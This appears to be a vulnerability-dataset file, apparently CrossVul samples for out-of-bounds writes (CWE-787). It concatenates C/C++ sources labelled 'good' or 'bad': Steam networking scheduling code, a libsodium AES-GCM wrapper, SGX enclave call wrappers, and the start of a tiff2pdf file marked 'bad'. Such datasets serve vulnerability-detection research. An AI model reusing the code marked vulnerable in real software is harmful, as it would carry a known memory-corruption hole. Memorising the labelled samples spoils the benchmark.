usecNow ); Assert( usecNextAction > usecNow ); return usecNextAction; } void CSteamNetworkConnectionBase::SNP_TokenBucket_Accumulate( SteamNetworkingMicroseconds usecNow ) { // If we're not connected, just keep our bucket full if ( !BStateIsConnectedForWirePurposes() ) { m_senderState.m_flTokenBucket = k_flSendRateBurstOverageAllowance; m_senderState.m_usecTokenBucketTime = usecNow; return; } float flElapsed = ( usecNow - m_senderState.m_usecTokenBucketTime ) * 1e-6; m_senderState.m_flTokenBucket += (float)m_senderState.m_n_x * flElapsed; m_senderState.m_usecTokenBucketTime = usecNow; // If we don't currently have any packets ready to send right now, // then go ahead and limit the tokens. If we do have packets ready // to send right now, then we must assume that we would be trying to // wakeup as soon as we are ready to send the next packet, and thus // any excess tokens we accumulate are because the scheduler woke // us up late, and we are not actually bursting if ( SNP_TimeWhenWantToSendNextPacket() > usecNow ) m_senderState.TokenBucket_Limit(); } void SSNPReceiverState::QueueFlushAllAcks( SteamNetworkingMicroseconds usecWhen ) { DebugCheckPackGapMap(); Assert( usecWhen > 0 ); // zero is reserved and should never be used as a requested wake time // if we're already scheduled for earlier, then there cannot be any work to do auto it = m_mapPacketGaps.end(); --it; if ( it->second.m_usecWhenAckPrior <= usecWhen ) return; it->second.m_usecWhenAckPrior = usecWhen; // Nothing partial scheduled? if ( m_itPendingAck == it ) return; if ( m_itPendingAck->second.m_usecWhenAckPrior >= usecWhen ) { do { m_itPendingAck->second.m_usecWhenAckPrior = INT64_MAX; ++m_itPendingAck; } while ( m_itPendingAck != it ); DebugCheckPackGapMap(); } else { // Maintain invariant while ( (--it)->second.m_usecWhenAckPrior >= usecWhen ) it->second.m_usecWhenAckPrior = usecWhen; DebugCheckPackGapMap(); } } #if STEAMNETWORKINGSOCKETS_SNP_PARANOIA > 1 void SSNPReceiverState::DebugCheckPackGapMap() const { int64 nPrevEnd = 0; SteamNetworkingMicroseconds usecPrevAck = 0; bool bFoundPendingAck = false; for ( auto it: m_mapPacketGaps ) { Assert( it.first > nPrevEnd ); if ( it.first == m_itPendingAck->first ) { Assert( !bFoundPendingAck ); bFoundPendingAck = true; if ( it.first < INT64_MAX ) Assert( it.second.m_usecWhenAckPrior < INT64_MAX ); } else if ( !bFoundPendingAck ) { Assert( it.second.m_usecWhenAckPrior == INT64_MAX ); } else { Assert( it.second.m_usecWhenAckPrior >= usecPrevAck ); } usecPrevAck = it.second.m_usecWhenAckPrior; if ( it.first == INT64_MAX ) { Assert( it.second.m_nEnd == INT64_MAX ); } else { Assert( it.first < it.second.m_nEnd ); } nPrevEnd = it.second.m_nEnd; } Assert( nPrevEnd == INT64_MAX ); } #endif SteamNetworkingMicroseconds CSteamNetworkConnectionBase::SNP_TimeWhenWantToSendNextPacket() const { // We really shouldn't be trying to do this when not connected if ( !BStateIsConnectedForWirePurposes() ) { AssertMsg( false, "We shouldn't be asking about sending packets when not fully connected" ); return k_nThinkTime_Never; } // Reliable triggered? Then send it right now if ( !m_senderState.m_listReadyRetryReliableRange.empty() ) return 0; // Anything queued? SteamNetworkingMicroseconds usecNextSend; if ( m_senderState.m_messagesQueued.empty() ) { // Queue is empty, nothing to send except perhaps nacks (below) Assert( m_senderState.PendingBytesTotal() == 0 ); usecNextSend = INT64_MAX; } else { // FIXME acks, stop_waiting? // Have we got at least a full packet ready to go? if ( m_senderState.PendingBytesTotal() >= m_cbMaxPlaintextPayloadSend ) // Send it ASAP return 0; // We have less than a full packet's worth of data. Wait until // the Nagle time, if we have one usecNextSend = m_senderState.m_messagesQueued.m_pFirst->SNPSend_UsecNagle(); } // Check if the receiver wants to send a NACK. usecNextSend = std::min( usecNextSend, m_receiverState.m_itPendingNack->second.m_usecWhenOKToNack ); // Return the earlier of the two return usecNextSend; } SteamNetworkingMicroseconds CSteamNetworkConnectionBase::SNP_GetNextThinkTime( SteamNetworkingMicroseconds usecNow ) { // We really shouldn't be trying to do this when not connected if ( !BStateIsConnectedForWirePurposes() ) { AssertMsg( false, "We shouldn't be trying to think SNP when not fully connected" ); return k_nThinkTime_Never; } // We cannot send any packets if we don't have transport if ( !m_pTransport ) return k_nThinkTime_Never; // Start with the time when the receiver needs to flush out ack. SteamNetworkingMicroseconds usecNextThink = m_receiverState.TimeWhenFlushAcks(); // Check retransmit timers. If they have expired, this will move reliable // segments into the "ready to retry" list, which will cause // TimeWhenWantToSendNextPacket to think we want to send data. If nothing has timed out, // it will return the time when we need to check back in. Or, if everything is idle it will // return "never" (very large number). SteamNetworkingMicroseconds usecNextRetry = SNP_SenderCheckInFlightPackets( usecNow ); // If we want to send packets, then we might need to wake up and take action SteamNetworkingMicroseconds usecTimeWantToSend = SNP_TimeWhenWantToSendNextPacket(); usecTimeWantToSend = std::min( usecNextRetry, usecTimeWantToSend ); if ( usecTimeWantToSend < usecNextThink ) { // Time when we *could* send the next packet, ignoring Nagle SteamNetworkingMicroseconds usecNextSend = usecNow; SteamNetworkingMicroseconds usecQueueTime = m_senderState.CalcTimeUntilNextSend(); if ( usecQueueTime > 0 ) { usecNextSend += usecQueueTime; // Add a small amount of fudge here, so that we don't wake up too early and think // we're not ready yet, causing us to spin our wheels. Our token bucket system // should keep us sending at the correct overall rate. Remember that the // underlying kernel timer/wake resolution might be 1 or 2ms, (E.g. Windows.) usecNextSend += 25; } // Time when we will next send is the greater of when we want to and when we can usecNextSend = std::max( usecNextSend, usecTimeWantToSend ); // Earlier than any other reason to wake up? usecNextThink = std::min( usecNextThink, usecNextSend ); } return usecNextThink; } void CSteamNetworkConnectionBase::SNP_PopulateDetailedStats( SteamDatagramLinkStats &info ) { info.m_latest.m_nSendRate = SNP_ClampSendRate(); info.m_latest.m_nPendingBytes = m_senderState.m_cbPendingUnreliable + m_senderState.m_cbPendingReliable; info.m_lifetime.m_nMessagesSentReliable = m_senderState.m_nMessagesSentReliable; info.m_lifetime.m_nMessagesSentUnreliable = m_senderState.m_nMessagesSentUnreliable; info.m_lifetime.m_nMessagesRecvReliable = m_receiverState.m_nMessagesRecvReliable; info.m_lifetime.m_nMessagesRecvUnreliable = m_receiverState.m_nMessagesRecvUnreliable; } void CSteamNetworkConnectionBase::SNP_PopulateQuickStats( SteamNetworkingQuickConnectionStatus &info, SteamNetworkingMicroseconds usecNow ) { info.m_nSendRateBytesPerSecond = SNP_ClampSendRate(); info.m_cbPendingUnreliable = m_senderState.m_cbPendingUnreliable; info.m_cbPendingReliable = m_senderState.m_cbPendingReliable; info.m_cbSentUnackedReliable = m_senderState.m_cbSentUnackedReliable; if ( GetState() == k_ESteamNetworkingConnectionState_Connected ) { // Accumulate tokens so that we can properly predict when the next time we'll be able to send something is SNP_TokenBucket_Accumulate( usecNow ); // // Time until we can send the next packet // If anything is already queued, then that will have to go out first. Round it down // to the nearest packet. // // NOTE: This ignores the precise details of SNP framing. If there are tons of // small packets, it'll actually be worse. We might be able to approximate that // the framing overhead better by also counting up the number of *messages* pending. // Probably not worth it here, but if we had that number available, we'd use it. int cbPendingTotal = m_senderState.PendingBytesTotal() / m_cbMaxMessageNoFragment * m_cbMaxMessageNoFragment; // Adjust based on how many tokens we have to spend now (or if we are already // over-budget and have to wait until we could spend another) cbPendingTotal -= (int)m_senderState.m_flTokenBucket; if ( cbPendingTotal <= 0 ) { // We could send it right now. info.m_usecQueueTime = 0; } else { info.m_usecQueueTime = (int64)cbPendingTotal * k_nMillion / SNP_ClampSendRate(); } } else { // We'll never be able to send it. (Or, we don't know when that will be.) info.m_usecQueueTime = INT64_MAX; } } } // namespace SteamNetworkingSocketsLib
./CrossVul/dataset_final_sorted/CWE-787/cpp/good_4593_0
crossvul-cpp_data_good_4594_0
#include "crypto.h" #include <tier0/vprof.h> #include <tier0/dbg.h> #include "tier0/memdbgoff.h" #include <sodium.h> #include "tier0/memdbgon.h" #ifdef STEAMNETWORKINGSOCKETS_CRYPTO_LIBSODIUM SymmetricCryptContextBase::SymmetricCryptContextBase() : m_ctx(nullptr), m_cbIV(0), m_cbTag(0) { } void SymmetricCryptContextBase::Wipe() { sodium_free(m_ctx); m_ctx = nullptr; m_cbIV = 0; m_cbTag = 0; } bool AES_GCM_CipherContext::InitCipher( const void *pKey, size_t cbKey, size_t cbIV, size_t cbTag, bool bEncrypt ) { // Libsodium requires AES and CLMUL instructions for AES-GCM, available in // Intel "Westmere" and up. 90.41% of Steam users have this as of the // November 2019 survey. // Libsodium recommends ChaCha20-Poly1305 in software if you've not got AES support // in hardware. AssertMsg( crypto_aead_aes256gcm_is_available() == 1, "No hardware AES support on this CPU." ); AssertMsg( cbKey == crypto_aead_aes256gcm_KEYBYTES, "AES key sizes other than 256 are unsupported." ); AssertMsg( cbIV == crypto_aead_aes256gcm_NPUBBYTES, "Nonce size is unsupported" ); if(m_ctx == nullptr) { m_ctx = sodium_malloc( sizeof(crypto_aead_aes256gcm_state) ); } crypto_aead_aes256gcm_beforenm( static_cast<crypto_aead_aes256gcm_state*>( m_ctx ), static_cast<const unsigned char*>( pKey ) ); return true; } bool AES_GCM_EncryptContext::Encrypt( const void *pPlaintextData, size_t cbPlaintextData, const void *pIV, void *pEncryptedDataAndTag, uint32 *pcbEncryptedDataAndTag, const void *pAdditionalAuthenticationData, size_t cbAuthenticationData ) { // Make sure caller's buffer is big enough to hold the result. if ( cbPlaintextData + crypto_aead_aes256gcm_ABYTES > *pcbEncryptedDataAndTag ) { *pcbEncryptedDataAndTag = 0; return false; } unsigned long long cbEncryptedDataAndTag_longlong; crypto_aead_aes256gcm_encrypt_afternm( static_cast<unsigned char*>( pEncryptedDataAndTag ), &cbEncryptedDataAndTag_longlong, static_cast<const unsigned char*>( pPlaintextData ), cbPlaintextData, static_cast<const unsigned char*>(pAdditionalAuthenticationData), cbAuthenticationData, nullptr, static_cast<const unsigned char*>( pIV ), static_cast<const crypto_aead_aes256gcm_state*>( m_ctx ) ); *pcbEncryptedDataAndTag = cbEncryptedDataAndTag_longlong; return true; } bool AES_GCM_DecryptContext::Decrypt( const void *pEncryptedDataAndTag, size_t cbEncryptedDataAndTag, const void *pIV, void *pPlaintextData, uint32 *pcbPlaintextData, const void *pAdditionalAuthenticationData, size_t cbAuthenticationData ) { // Make sure caller's buffer is big enough to hold the result if ( cbEncryptedDataAndTag > *pcbPlaintextData + crypto_aead_aes256gcm_ABYTES ) { *pcbPlaintextData = 0; return false; } unsigned long long cbPlaintextData_longlong; const int nDecryptResult = crypto_aead_aes256gcm_decrypt_afternm( static_cast<unsigned char*>( pPlaintextData ), &cbPlaintextData_longlong, nullptr, static_cast<const unsigned char*>( pEncryptedDataAndTag ), cbEncryptedDataAndTag, static_cast<const unsigned char*>( pAdditionalAuthenticationData ), cbAuthenticationData, static_cast<const unsigned char*>( pIV ), static_cast<const crypto_aead_aes256gcm_state*>( m_ctx ) ); *pcbPlaintextData = cbPlaintextData_longlong; return nDecryptResult == 0; } void CCrypto::Init() { // sodium_init is safe to call multiple times from multiple threads // so no need to do anything clever here. if(sodium_init() < 0) { AssertMsg( false, "libsodium didn't init" ); } } void CCrypto::GenerateRandomBlock( void *pubDest, int cubDest ) { VPROF_BUDGET( "CCrypto::GenerateRandomBlock", VPROF_BUDGETGROUP_ENCRYPTION ); AssertFatal( cubDest >= 0 ); randombytes_buf( pubDest, cubDest ); } void CCrypto::GenerateSHA256Digest( const void *pData, size_t cbData, SHA256Digest_t *pOutputDigest ) { VPROF_BUDGET( "CCrypto::GenerateSHA256Digest", VPROF_BUDGETGROUP_ENCRYPTION ); Assert( pData ); Assert( pOutputDigest ); crypto_hash_sha256( *pOutputDigest, static_cast<const unsigned char*>(pData), cbData ); } void CCrypto::GenerateHMAC256( const uint8 *pubData, uint32 cubData, const uint8 *pubKey, uint32 cubKey, SHA256Digest_t *pOutputDigest ) { VPROF_BUDGET( "CCrypto::GenerateHMAC256", VPROF_BUDGETGROUP_ENCRYPTION ); Assert( pubData ); Assert( cubData > 0 ); Assert( pubKey ); Assert( cubKey > 0 ); Assert( pOutputDigest ); Assert( sizeof(*pOutputDigest) == crypto_auth_hmacsha256_BYTES ); Assert( cubKey == crypto_auth_hmacsha256_KEYBYTES ); crypto_auth_hmacsha256( *pOutputDigest, pubData, cubData, pubKey ); } #endif
./CrossVul/dataset_final_sorted/CWE-787/cpp/good_4594_0
crossvul-cpp_data_good_517_1
#include "Enclave_t.h" #include <cstdint> #include <cassert> #include "Aggregate.h" #include "Crypto.h" #include "Filter.h" #include "Join.h" #include "Project.h" #include "Sort.h" #include "isv_enclave.h" #include "sgx_lfence.h" #include "util.h" // This file contains definitions of the ecalls declared in Enclave.edl. Errors originating within // these ecalls are signaled by throwing a std::runtime_error, which is caught at the top level of // the ecall (i.e., within these definitions), and are then rethrown as Java exceptions using // ocall_throw. void ecall_encrypt(uint8_t *plaintext, uint32_t plaintext_length, uint8_t *ciphertext, uint32_t cipher_length) { // Guard against encrypting or overwriting enclave memory assert(sgx_is_outside_enclave(plaintext, plaintext_length) == 1); assert(sgx_is_outside_enclave(ciphertext, cipher_length) == 1); sgx_lfence(); try { // IV (12 bytes) + ciphertext + mac (16 bytes) assert(cipher_length >= plaintext_length + SGX_AESGCM_IV_SIZE + SGX_AESGCM_MAC_SIZE); (void)cipher_length; (void)plaintext_length; encrypt(plaintext, plaintext_length, ciphertext); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_project(uint8_t *condition, size_t condition_length, uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { // Guard against operating on arbitrary enclave memory assert(sgx_is_outside_enclave(input_rows, input_rows_length) == 1); sgx_lfence(); try { project(condition, condition_length, input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_filter(uint8_t *condition, size_t condition_length, uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { // Guard against operating on arbitrary enclave memory assert(sgx_is_outside_enclave(input_rows, input_rows_length) == 1); sgx_lfence(); try { filter(condition, condition_length, input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_sample(uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { // Guard against operating on arbitrary enclave memory assert(sgx_is_outside_enclave(input_rows, input_rows_length) == 1); sgx_lfence(); try { sample(input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_find_range_bounds(uint8_t *sort_order, size_t sort_order_length, uint32_t num_partitions, uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { // Guard against operating on arbitrary enclave memory assert(sgx_is_outside_enclave(input_rows, input_rows_length) == 1); sgx_lfence(); try { find_range_bounds(sort_order, sort_order_length, num_partitions, input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_partition_for_sort(uint8_t *sort_order, size_t sort_order_length, uint32_t num_partitions, uint8_t *input_rows, size_t input_rows_length, uint8_t *boundary_rows, size_t boundary_rows_length, uint8_t **output_partitions, size_t *output_partition_lengths) { // Guard against operating on arbitrary enclave memory assert(sgx_is_outside_enclave(input_rows, input_rows_length) == 1); assert(sgx_is_outside_enclave(boundary_rows, boundary_rows_length) == 1); sgx_lfence(); try { partition_for_sort(sort_order, sort_order_length, num_partitions, input_rows, input_rows_length, boundary_rows, boundary_rows_length, output_partitions, output_partition_lengths); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_external_sort(uint8_t *sort_order, size_t sort_order_length, uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { // Guard against operating on arbitrary enclave memory assert(sgx_is_outside_enclave(input_rows, input_rows_length) == 1); sgx_lfence(); try { external_sort(sort_order, sort_order_length, input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_scan_collect_last_primary(uint8_t *join_expr, size_t join_expr_length, uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { // Guard against operating on arbitrary enclave memory assert(sgx_is_outside_enclave(input_rows, input_rows_length) == 1); sgx_lfence(); try { scan_collect_last_primary(join_expr, join_expr_length, input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_non_oblivious_sort_merge_join(uint8_t *join_expr, size_t join_expr_length, uint8_t *input_rows, size_t input_rows_length, uint8_t *join_row, size_t join_row_length, uint8_t **output_rows, size_t *output_rows_length) { // Guard against operating on arbitrary enclave memory assert(sgx_is_outside_enclave(input_rows, input_rows_length) == 1); assert(sgx_is_outside_enclave(join_row, join_row_length) == 1); sgx_lfence(); try { non_oblivious_sort_merge_join(join_expr, join_expr_length, input_rows, input_rows_length, join_row, join_row_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_non_oblivious_aggregate_step1( uint8_t *agg_op, size_t agg_op_length, uint8_t *input_rows, size_t input_rows_length, uint8_t **first_row, size_t *first_row_length, uint8_t **last_group, size_t *last_group_length, uint8_t **last_row, size_t *last_row_length) { // Guard against operating on arbitrary enclave memory assert(sgx_is_outside_enclave(input_rows, input_rows_length) == 1); sgx_lfence(); try { non_oblivious_aggregate_step1( agg_op, agg_op_length, input_rows, input_rows_length, first_row, first_row_length, last_group, last_group_length, last_row, last_row_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_non_oblivious_aggregate_step2( uint8_t *agg_op, size_t agg_op_length, uint8_t *input_rows, size_t input_rows_length, uint8_t *next_partition_first_row, size_t next_partition_first_row_length, uint8_t *prev_partition_last_group, size_t prev_partition_last_group_length, uint8_t *prev_partition_last_row, size_t prev_partition_last_row_length, uint8_t **output_rows, size_t *output_rows_length) { // Guard against operating on arbitrary enclave memory assert(sgx_is_outside_enclave(input_rows, input_rows_length) == 1); assert(sgx_is_outside_enclave(next_partition_first_row, next_partition_first_row_length) == 1); assert(sgx_is_outside_enclave(prev_partition_last_group, prev_partition_last_group_length) == 1); assert(sgx_is_outside_enclave(prev_partition_last_row, prev_partition_last_row_length) == 1); sgx_lfence(); try { non_oblivious_aggregate_step2( agg_op, agg_op_length, input_rows, input_rows_length, next_partition_first_row, next_partition_first_row_length, prev_partition_last_group, prev_partition_last_group_length, prev_partition_last_row, prev_partition_last_row_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } sgx_status_t ecall_enclave_init_ra(int b_pse, sgx_ra_context_t *p_context) { try { return enclave_init_ra(b_pse, p_context); } catch (const std::runtime_error &e) { ocall_throw(e.what()); return SGX_ERROR_UNEXPECTED; } } void ecall_enclave_ra_close(sgx_ra_context_t context) { try { enclave_ra_close(context); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } sgx_status_t ecall_verify_att_result_mac(sgx_ra_context_t context, uint8_t* message, size_t message_size, uint8_t* mac, size_t mac_size) { try { return verify_att_result_mac(context, message, message_size, mac, mac_size); } catch (const std::runtime_error &e) { ocall_throw(e.what()); return SGX_ERROR_UNEXPECTED; } } sgx_status_t ecall_put_secret_data(sgx_ra_context_t context, uint8_t* p_secret, uint32_t secret_size, uint8_t* gcm_mac) { try { return put_secret_data(context, p_secret, secret_size, gcm_mac); } catch (const std::runtime_error &e) { ocall_throw(e.what()); return SGX_ERROR_UNEXPECTED; } }
./CrossVul/dataset_final_sorted/CWE-787/cpp/good_517_1
crossvul-cpp_data_bad_5478_3
/* $Id$ * * tiff2pdf - converts a TIFF image to a PDF document * * Copyright (c) 2003 Ross Finlayson * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the name of * Ross Finlayson may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Ross Finlayson. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL ROSS FINLAYSON BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tif_config.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h> #include <errno.h> #include <limits.h> #if HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_FCNTL_H # include <fcntl.h> #endif #ifdef HAVE_IO_H # include <io.h> #endif #ifdef NEED_LIBPORT # include "libport.h" #endif #include "tiffiop.h" #include "tiffio.h" #ifndef HAVE_GETOPT extern int getopt(int, char**, char*); #endif #ifndef EXIT_SUCCESS # define EXIT_SUCCESS 0 #endif #ifndef EXIT_FAILURE # define EXIT_FAILURE 1 #endif #define TIFF2PDF_MODULE "tiff2pdf" #define PS_UNIT_SIZE 72.0F /* This type is of PDF color spaces. */ typedef enum { T2P_CS_BILEVEL = 0x01, /* Bilevel, black and white */ T2P_CS_GRAY = 0x02, /* Single channel */ T2P_CS_RGB = 0x04, /* Three channel tristimulus RGB */ T2P_CS_CMYK = 0x08, /* Four channel CMYK print inkset */ T2P_CS_LAB = 0x10, /* Three channel L*a*b* color space */ T2P_CS_PALETTE = 0x1000,/* One of the above with a color map */ T2P_CS_CALGRAY = 0x20, /* Calibrated single channel */ T2P_CS_CALRGB = 0x40, /* Calibrated three channel tristimulus RGB */ T2P_CS_ICCBASED = 0x80 /* ICC profile color specification */ } t2p_cs_t; /* This type is of PDF compression types. */ typedef enum{ T2P_COMPRESS_NONE=0x00 #ifdef CCITT_SUPPORT , T2P_COMPRESS_G4=0x01 #endif #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) , T2P_COMPRESS_JPEG=0x02 #endif #ifdef ZIP_SUPPORT , T2P_COMPRESS_ZIP=0x04 #endif } t2p_compress_t; /* This type is whether TIFF image data can be used in PDF without transcoding. */ typedef enum{ T2P_TRANSCODE_RAW=0x01, /* The raw data from the input can be used without recompressing */ T2P_TRANSCODE_ENCODE=0x02 /* The data from the input is perhaps unencoded and reencoded */ } t2p_transcode_t; /* This type is of information about the data samples of the input image. */ typedef enum{ T2P_SAMPLE_NOTHING=0x0000, /* The unencoded samples are normal for the output colorspace */ T2P_SAMPLE_ABGR_TO_RGB=0x0001, /* The unencoded samples are the result of ReadRGBAImage */ T2P_SAMPLE_RGBA_TO_RGB=0x0002, /* The unencoded samples are contiguous RGBA */ T2P_SAMPLE_RGBAA_TO_RGB=0x0004, /* The unencoded samples are RGBA with premultiplied alpha */ T2P_SAMPLE_YCBCR_TO_RGB=0x0008, T2P_SAMPLE_YCBCR_TO_LAB=0x0010, T2P_SAMPLE_REALIZE_PALETTE=0x0020, /* The unencoded samples are indexes into the color map */ T2P_SAMPLE_SIGNED_TO_UNSIGNED=0x0040, /* The unencoded samples are signed instead of unsignd */ T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED=0x0040, /* The L*a*b* samples have a* and b* signed */ T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG=0x0100 /* The unencoded samples are separate instead of contiguous */ } t2p_sample_t; /* This type is of error status of the T2P struct. */ typedef enum{ T2P_ERR_OK = 0, /* This is the value of t2p->t2p_error when there is no error */ T2P_ERR_ERROR = 1 /* This is the value of t2p->t2p_error when there was an error */ } t2p_err_t; /* This struct defines a logical page of a TIFF. */ typedef struct { tdir_t page_directory; uint32 page_number; ttile_t page_tilecount; uint32 page_extra; } T2P_PAGE; /* This struct defines a PDF rectangle's coordinates. */ typedef struct { float x1; float y1; float x2; float y2; float mat[9]; } T2P_BOX; /* This struct defines a tile of a PDF. */ typedef struct { T2P_BOX tile_box; } T2P_TILE; /* This struct defines information about the tiles on a PDF page. */ typedef struct { ttile_t tiles_tilecount; uint32 tiles_tilewidth; uint32 tiles_tilelength; uint32 tiles_tilecountx; uint32 tiles_tilecounty; uint32 tiles_edgetilewidth; uint32 tiles_edgetilelength; T2P_TILE* tiles_tiles; } T2P_TILES; /* This struct is the context of a function to generate PDF from a TIFF. */ typedef struct { t2p_err_t t2p_error; T2P_PAGE* tiff_pages; T2P_TILES* tiff_tiles; tdir_t tiff_pagecount; uint16 tiff_compression; uint16 tiff_photometric; uint16 tiff_fillorder; uint16 tiff_bitspersample; uint16 tiff_samplesperpixel; uint16 tiff_planar; uint32 tiff_width; uint32 tiff_length; float tiff_xres; float tiff_yres; uint16 tiff_orientation; toff_t tiff_dataoffset; tsize_t tiff_datasize; uint16 tiff_resunit; uint16 pdf_centimeters; uint16 pdf_overrideres; uint16 pdf_overridepagesize; float pdf_defaultxres; float pdf_defaultyres; float pdf_xres; float pdf_yres; float pdf_defaultpagewidth; float pdf_defaultpagelength; float pdf_pagewidth; float pdf_pagelength; float pdf_imagewidth; float pdf_imagelength; int pdf_image_fillpage; /* 0 (default: no scaling, 1:scale imagesize to pagesize */ T2P_BOX pdf_mediabox; T2P_BOX pdf_imagebox; uint16 pdf_majorversion; uint16 pdf_minorversion; uint32 pdf_catalog; uint32 pdf_pages; uint32 pdf_info; uint32 pdf_palettecs; uint16 pdf_fitwindow; uint32 pdf_startxref; #define TIFF2PDF_FILEID_SIZE 33 char pdf_fileid[TIFF2PDF_FILEID_SIZE]; #define TIFF2PDF_DATETIME_SIZE 17 char pdf_datetime[TIFF2PDF_DATETIME_SIZE]; #define TIFF2PDF_CREATOR_SIZE 512 char pdf_creator[TIFF2PDF_CREATOR_SIZE]; #define TIFF2PDF_AUTHOR_SIZE 512 char pdf_author[TIFF2PDF_AUTHOR_SIZE]; #define TIFF2PDF_TITLE_SIZE 512 char pdf_title[TIFF2PDF_TITLE_SIZE]; #define TIFF2PDF_SUBJECT_SIZE 512 char pdf_subject[TIFF2PDF_SUBJECT_SIZE]; #define TIFF2PDF_KEYWORDS_SIZE 512 char pdf_keywords[TIFF2PDF_KEYWORDS_SIZE]; t2p_cs_t pdf_colorspace; uint16 pdf_colorspace_invert; uint16 pdf_switchdecode; uint16 pdf_palettesize; unsigned char* pdf_palette; int pdf_labrange[4]; t2p_compress_t pdf_defaultcompression; uint16 pdf_defaultcompressionquality; t2p_compress_t pdf_compression; uint16 pdf_compressionquality; uint16 pdf_nopassthrough; t2p_transcode_t pdf_transcode; t2p_sample_t pdf_sample; uint32* pdf_xrefoffsets; uint32 pdf_xrefcount; tdir_t pdf_page; #ifdef OJPEG_SUPPORT tdata_t pdf_ojpegdata; uint32 pdf_ojpegdatalength; uint32 pdf_ojpegiflength; #endif float tiff_whitechromaticities[2]; float tiff_primarychromaticities[6]; float tiff_referenceblackwhite[2]; float* tiff_transferfunction[3]; int pdf_image_interpolate; /* 0 (default) : do not interpolate, 1 : interpolate */ uint16 tiff_transferfunctioncount; uint32 pdf_icccs; uint32 tiff_iccprofilelength; tdata_t tiff_iccprofile; /* fields for custom read/write procedures */ FILE *outputfile; int outputdisable; tsize_t outputwritten; } T2P; /* These functions are called by main. */ void tiff2pdf_usage(void); int tiff2pdf_match_paper_size(float*, float*, char*); /* These functions are used to generate a PDF from a TIFF. */ #ifdef __cplusplus extern "C" { #endif T2P* t2p_init(void); void t2p_validate(T2P*); tsize_t t2p_write_pdf(T2P*, TIFF*, TIFF*); void t2p_free(T2P*); #ifdef __cplusplus } #endif void t2p_read_tiff_init(T2P*, TIFF*); int t2p_cmp_t2p_page(const void*, const void*); void t2p_read_tiff_data(T2P*, TIFF*); void t2p_read_tiff_size(T2P*, TIFF*); void t2p_read_tiff_size_tile(T2P*, TIFF*, ttile_t); int t2p_tile_is_right_edge(T2P_TILES, ttile_t); int t2p_tile_is_bottom_edge(T2P_TILES, ttile_t); int t2p_tile_is_edge(T2P_TILES, ttile_t); int t2p_tile_is_corner_edge(T2P_TILES, ttile_t); tsize_t t2p_readwrite_pdf_image(T2P*, TIFF*, TIFF*); tsize_t t2p_readwrite_pdf_image_tile(T2P*, TIFF*, TIFF*, ttile_t); #ifdef OJPEG_SUPPORT int t2p_process_ojpeg_tables(T2P*, TIFF*); #endif #ifdef JPEG_SUPPORT int t2p_process_jpeg_strip(unsigned char*, tsize_t*, unsigned char*, tsize_t*, tstrip_t, uint32); #endif void t2p_tile_collapse_left(tdata_t, tsize_t, uint32, uint32, uint32); void t2p_write_advance_directory(T2P*, TIFF*); tsize_t t2p_sample_planar_separate_to_contig(T2P*, unsigned char*, unsigned char*, tsize_t); tsize_t t2p_sample_realize_palette(T2P*, unsigned char*); tsize_t t2p_sample_abgr_to_rgb(tdata_t, uint32); tsize_t t2p_sample_rgba_to_rgb(tdata_t, uint32); tsize_t t2p_sample_rgbaa_to_rgb(tdata_t, uint32); tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t, uint32); tsize_t t2p_write_pdf_header(T2P*, TIFF*); tsize_t t2p_write_pdf_obj_start(uint32, TIFF*); tsize_t t2p_write_pdf_obj_end(TIFF*); tsize_t t2p_write_pdf_name(unsigned char*, TIFF*); tsize_t t2p_write_pdf_string(char*, TIFF*); tsize_t t2p_write_pdf_stream(tdata_t, tsize_t, TIFF*); tsize_t t2p_write_pdf_stream_start(TIFF*); tsize_t t2p_write_pdf_stream_end(TIFF*); tsize_t t2p_write_pdf_stream_dict(tsize_t, uint32, TIFF*); tsize_t t2p_write_pdf_stream_dict_start(TIFF*); tsize_t 